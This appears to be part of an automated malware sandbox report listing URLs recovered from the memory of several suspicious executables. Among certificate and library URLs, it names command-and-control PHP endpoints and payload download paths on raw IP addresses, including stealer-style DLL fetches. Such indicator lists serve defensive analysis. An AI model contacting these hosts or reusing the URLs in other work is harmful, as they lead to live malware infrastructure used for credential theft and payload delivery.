Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/1e
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php/
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpB
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpGjLg
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpV
Source: LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.1000(
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000102A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/crazyfish.php
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000102A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/crazyfish.phpXU
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1938570436.0000000003EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.php
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.phper
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.phper%
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/api/twofish.phpn
Source: RegAsm.exe, 00000002.00000002.1934044610.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/l
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48/v
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000106C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/crazyfish.php
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/twofish.php
Source: RegAsm.exe, 00000002.00000002.1934044610.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/twofish.phpP
Source: RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://195.10.205.48:80/api/twofish.phpindows
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/dezo/huna.exe
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/dezo/huna.exeC:
Source: RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.9/dezo/huna.exed
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2522488462.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: RegAsm.exe, 00000014.00000002.2751793506.000000002711A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2601275716.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll(
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllZ
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll
Source: RegAsm.exe, 00000014.00000002.2751793506.000000002711A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/4754d4f680ead72.php
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/Y8
Source: RegAsm.exe, 00000014.00000002.2522488462.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2601275716.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2522488462.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php32
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.php4
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpc
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2601275716.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpe
Source: RegAsm.exe, 00000014.00000002.2751793506.000000002711A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpl
Source: RegAsm.exe, 00000014.00000002.2522488462.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpry=----FHIDAKFIJJKJJJKEBKJEultrelease
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/c4754d4f680ead72.phpx
Source: RegAsm.exe, 00000014.00000002.2522488462.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109DHJEorm-data;
Source: RegAsm.exe, 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109Wi
Source: lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://64532127VdtSrezylanAPHTGetSystemInfoGetSystemTimeSleepkernel32.dllSymMatchStringInternetSetOp
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aka.ms/msal-net-iwa
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://aka.ms/valid-authorities
Source: SendBugReportNew.exe, 00000025.00000002.2111698404.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://c0rl.m%L
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: RegAsm.exe, 00000002.00000002.1938570436.0000000003EAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512Vhttp://schemas.xmlsoap.org/ws/2005/02/trustthttp://
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdNhttp://schemas.xm
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000000.1888005521.0000000000408000.00000002.00000001.01000000.0000000A.sdmp, U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000002.2011355586.0000000000408000.00000002.00000001.01000000.0000000A.sdmp, ALyS_8kMpHhhtscK4twnP2yt.exe, 0000000C.00000000.1889763953.0000000000408000.00000002.00000001.01000000.00000010.sdmp, ALyS_8kMpHhhtscK4twnP2yt.exe, 0000000C.00000002.2008179034.0000000000408000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: SendBugReportNew.exe, 00000025.00000002.2111698404.0000000000884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1970123233.00000000027BE000.00000004.00000020.00020000.00000000.sdmp, SendBugReportNew.exe, 00000025.00000000.2006727029.0000000000401000.00000020.00000001.01000000.0000001C.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/http
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKeybhttp://schemas.xmlsoap.org/ws/2005/02/trus
Source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/Xhttp://schemas.xmlsoap.org/ws/2004/09/policyfhttp://schemas.microso
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: tmR_9dCV10b0GIVf60jpdpDG.exe, 00000009.00000003.1943300639.0000000001F88000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3076566748.0000000000401000.00000020.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: RegAsm.exe, RegAsm.exe, 00000014.00000002.2890911555.000000006B3BD000.00000002.00000001.01000000.00000024.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: tmR_9dCV10b0GIVf60jpdpDG.exe, 00000009.00000003.1943300639.0000000001F88000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3076566748.0000000000401000.00000020.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: tmR_9dCV10b0GIVf60jpdpDG.exe, 00000009.00000003.1943300639.0000000001F88000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3076566748.0000000000401000.00000020.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: RegAsm.exe, 00000014.00000002.2858329990.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2698472720.000000001B0A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1689914217.0000000007701000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp, IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000002.2051301133.0000000004229000.00000004.00000800.00020000.00000000.sdmp, ExtreamFanV6.exe, 0000002E.00000002.2214740276.0000000004723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000002.2051301133.0000000004229000.00000004.00000800.00020000.00000000.sdmp, ExtreamFanV6.exe, 0000002E.00000002.2214740276.0000000004723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllm_object
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/adal-iwa
Source: kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/adal-net-broker-redirect-uri-android
